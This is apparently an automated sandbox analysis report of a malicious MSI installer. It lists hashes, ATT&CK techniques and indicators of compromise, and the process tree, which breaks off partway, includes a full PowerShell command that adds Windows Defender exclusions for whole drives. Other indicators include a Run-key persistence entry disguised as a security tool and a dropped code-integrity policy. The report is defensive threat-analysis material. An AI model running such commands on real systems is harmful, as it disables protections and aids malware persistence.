9acd57938b29cf159cc90566a93766910caa90f51a157163412de906d044c4d1

Analysis

max time kernel
136s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/07/2026, 04:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
app_setup.6653009.msi
Size 8.9MB
Sample260713-e328zsbz2l
SHA256 9acd57938b29cf159cc90566a93766910caa90f51a157163412de906d044c4d1
MD5 fb2afcffbe945edadf7f05d69b39f577
SHA1 5d1640ffc26bb064bd0bad03be7f036d4d71153d
SHA512 26d60180b8e2817f333e9389a9d44c4257f181235bf99b9f55ab6ed919a01c73ca3bd3c8122a3f508078be486548fcc1a7ba15b99f309fa53ce79eb5102cdeba
SSDEEP 196608:NxKoFcThmRsLs+US8U91XdTas8Yd0NewVwjax+Qrq:Nx9cT+dq8U7p/q0axNq
TLSH
T14096339BBEC32375D8C6D7F5868B626DB0653FD08C204A13B7E9764D6F7312958B02A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\k2jXUD = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4844	powershell.exe
1336	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4568	icacls.exe
5868	icacls.exe
4132	icacls.exe
3388	icacls.exe
248	icacls.exe
2572	icacls.exe
1136	icacls.exe
2624	takeown.exe
796	icacls.exe
3688	icacls.exe
4092	icacls.exe
1508	takeown.exe
1332	icacls.exe
4304	icacls.exe
5268	icacls.exe
3756	icacls.exe
3516	icacls.exe
3356	icacls.exe
5956	icacls.exe
5848	icacls.exe
896	icacls.exe
4824	icacls.exe
4364	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
2532	VeT1ye.exe
1064	vTV2k3.exe

Loads dropped DLL 3 IoCs

pid	Process
3088	MsiExec.exe
2532	VeT1ye.exe
1064	vTV2k3.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1332	icacls.exe
5268	icacls.exe
3688	icacls.exe
1508	takeown.exe
4824	icacls.exe
4568	icacls.exe
2624	takeown.exe
3388	icacls.exe
2572	icacls.exe
5868	icacls.exe
796	icacls.exe
3356	icacls.exe
4092	icacls.exe
5956	icacls.exe
4132	icacls.exe
248	icacls.exe
3516	icacls.exe
4304	icacls.exe
3756	icacls.exe
5848	icacls.exe
1136	icacls.exe
896	icacls.exe
4364	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\k2jXUD\\VeT1ye.exe\""	VeT1ye.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3088	MsiExec.exe
3	3088	MsiExec.exe
4	3088	MsiExec.exe
5	3088	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2176	cmd.exe
5428	cmd.exe
1608	cmd.exe
5172	cmd.exe
1140	cmd.exe
5968	cmd.exe
368	cmd.exe
4620	cmd.exe
5824	cmd.exe
2392	cmd.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	VeT1ye.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\P5P5vb\vTV2k3.exe	VeT1ye.exe
File created	C:\Program Files (x86)\P5P5vb\XPSPLOG.dll	VeT1ye.exe
File created	C:\Program Files (x86)\P5P5vb\image.png	VeT1ye.exe
File created	C:\Program Files (x86)\P5P5vb\thumbs.db	VeT1ye.exe
File opened for modification	C:\Program Files (x86)\P5P5vb\XPSPLOG.dll	VeT1ye.exe
File opened for modification	C:\Program Files (x86)\P5P5vb\thumbs.db	VeT1ye.exe
File opened for modification	C:\Program Files (x86)\P5P5vb	VeT1ye.exe
File opened for modification	C:\Program Files (x86)\P5P5vb\vTV2k3.exe	VeT1ye.exe
File opened for modification	C:\Program Files (x86)\P5P5vb\image.png	VeT1ye.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF584F8FE46763A2C5.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{DBE37440-1514-4BD7-8D8E-BFF5D9F3B754}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D22.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFABFD549F1997B76D.TMP	msiexec.exe
File created	C:\Windows\Installer\e5995ed.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5995ed.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF117F59EF02F47244.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFAA1CA733E68CD70.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9BF8.tmp	msiexec.exe
File created	C:\Windows\Installer\e5995ef.msi	msiexec.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3972	sc.exe
3192	sc.exe
2004	sc.exe
3012	sc.exe
4676	sc.exe
2552	sc.exe
1972	sc.exe
1988	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5588	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vTV2k3.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000085dc765dd76e689e0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380185dc765d0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410185dc765d000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e385dc765d00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e685dc765d00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\ProductName = "Ali Licensing Agent Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45\UpdFeatYKQD	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\PackageName = "app_setup.6653009.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\PackageCode = "D2B03AEFBE879CD4E84CC13D0AB087FF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Version = "50462843"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493\04473EBD41517DB4D8E8FB5F9D3F7B45	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media\1 = ";"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5884	schtasks.exe
5376	schtasks.exe
3852	schtasks.exe
2404	schtasks.exe
3408	schtasks.exe
2996	schtasks.exe
3340	schtasks.exe
5904	schtasks.exe
4520	schtasks.exe
5640	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4248	msiexec.exe
4248	msiexec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
3088	MsiExec.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe
2532	VeT1ye.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5588	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5588	msiexec.exe
Token: SeSecurityPrivilege	4248	msiexec.exe
Token: SeCreateTokenPrivilege	5588	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5588	msiexec.exe
Token: SeLockMemoryPrivilege	5588	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5588	msiexec.exe
Token: SeMachineAccountPrivilege	5588	msiexec.exe
Token: SeTcbPrivilege	5588	msiexec.exe
Token: SeSecurityPrivilege	5588	msiexec.exe
Token: SeTakeOwnershipPrivilege	5588	msiexec.exe
Token: SeLoadDriverPrivilege	5588	msiexec.exe
Token: SeSystemProfilePrivilege	5588	msiexec.exe
Token: SeSystemtimePrivilege	5588	msiexec.exe
Token: SeProfSingleProcessPrivilege	5588	msiexec.exe
Token: SeIncBasePriorityPrivilege	5588	msiexec.exe
Token: SeCreatePagefilePrivilege	5588	msiexec.exe
Token: SeCreatePermanentPrivilege	5588	msiexec.exe
Token: SeBackupPrivilege	5588	msiexec.exe
Token: SeRestorePrivilege	5588	msiexec.exe
Token: SeShutdownPrivilege	5588	msiexec.exe
Token: SeDebugPrivilege	5588	msiexec.exe
Token: SeAuditPrivilege	5588	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5588	msiexec.exe
Token: SeChangeNotifyPrivilege	5588	msiexec.exe
Token: SeRemoteShutdownPrivilege	5588	msiexec.exe
Token: SeUndockPrivilege	5588	msiexec.exe
Token: SeSyncAgentPrivilege	5588	msiexec.exe
Token: SeEnableDelegationPrivilege	5588	msiexec.exe
Token: SeManageVolumePrivilege	5588	msiexec.exe
Token: SeImpersonatePrivilege	5588	msiexec.exe
Token: SeCreateGlobalPrivilege	5588	msiexec.exe
Token: SeBackupPrivilege	1452	vssvc.exe
Token: SeRestorePrivilege	1452	vssvc.exe
Token: SeAuditPrivilege	1452	vssvc.exe
Token: SeBackupPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeBackupPrivilege	4960	srtasks.exe
Token: SeRestorePrivilege	4960	srtasks.exe
Token: SeSecurityPrivilege	4960	srtasks.exe
Token: SeTakeOwnershipPrivilege	4960	srtasks.exe
Token: SeBackupPrivilege	4960	srtasks.exe
Token: SeRestorePrivilege	4960	srtasks.exe
Token: SeSecurityPrivilege	4960	srtasks.exe
Token: SeTakeOwnershipPrivilege	4960	srtasks.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe
Token: SeTakeOwnershipPrivilege	4248	msiexec.exe
Token: SeRestorePrivilege	4248	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5588	msiexec.exe
5588	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5588	msiexec.exe
4248	msiexec.exe
3088	MsiExec.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 4960	4248	msiexec.exe	92
PID 4248 wrote to memory of 3088	4248	msiexec.exe	94
PID 2532 wrote to memory of 4844	2532	VeT1ye.exe	99
PID 2532 wrote to memory of 2176	2532	VeT1ye.exe	101
PID 2176 wrote to memory of 5884	2176	cmd.exe	103
PID 2176 wrote to memory of 3488	2176	cmd.exe	104
PID 2176 wrote to memory of 4780	2176	cmd.exe	107
PID 2532 wrote to memory of 4620	2532	VeT1ye.exe	108
PID 4620 wrote to memory of 5376	4620	cmd.exe	111
PID 4620 wrote to memory of 5480	4620	cmd.exe	112
PID 4620 wrote to memory of 5516	4620	cmd.exe	115
PID 2532 wrote to memory of 5824	2532	VeT1ye.exe	117
PID 5824 wrote to memory of 3408	5824	cmd.exe	119
PID 5824 wrote to memory of 5360	5824	cmd.exe	120
PID 5824 wrote to memory of 5432	5824	cmd.exe	122
PID 4684 wrote to memory of 1416	4684	cmd.exe	124
PID 4292 wrote to memory of 1048	4292	cmd.exe	125
PID 2532 wrote to memory of 5428	2532	VeT1ye.exe	126
PID 5428 wrote to memory of 3852	5428	cmd.exe	128
PID 5428 wrote to memory of 4948	5428	cmd.exe	129
PID 5428 wrote to memory of 2012	5428	cmd.exe	131
PID 2532 wrote to memory of 1608	2532	VeT1ye.exe	132
PID 1608 wrote to memory of 2404	1608	cmd.exe	134
PID 1608 wrote to memory of 2708	1608	cmd.exe	135
PID 1608 wrote to memory of 2940	1608	cmd.exe	137
PID 4124 wrote to memory of 3984	4124	cmd.exe	141
PID 2144 wrote to memory of 5752	2144	cmd.exe	142
PID 5908 wrote to memory of 368	5908	cmd.exe	143
PID 2532 wrote to memory of 1064	2532	VeT1ye.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\app_setup.6653009.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5588

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4960
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 44260C8EE63B77F1A760A5414EBF97AB E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3088

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:852

C:\Users\Public\k2jXUD\VeT1ye.exe
"C:\Users\Public\k2jXUD\VeT1ye.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4844
- C:\Windows\System32\cmd.exe
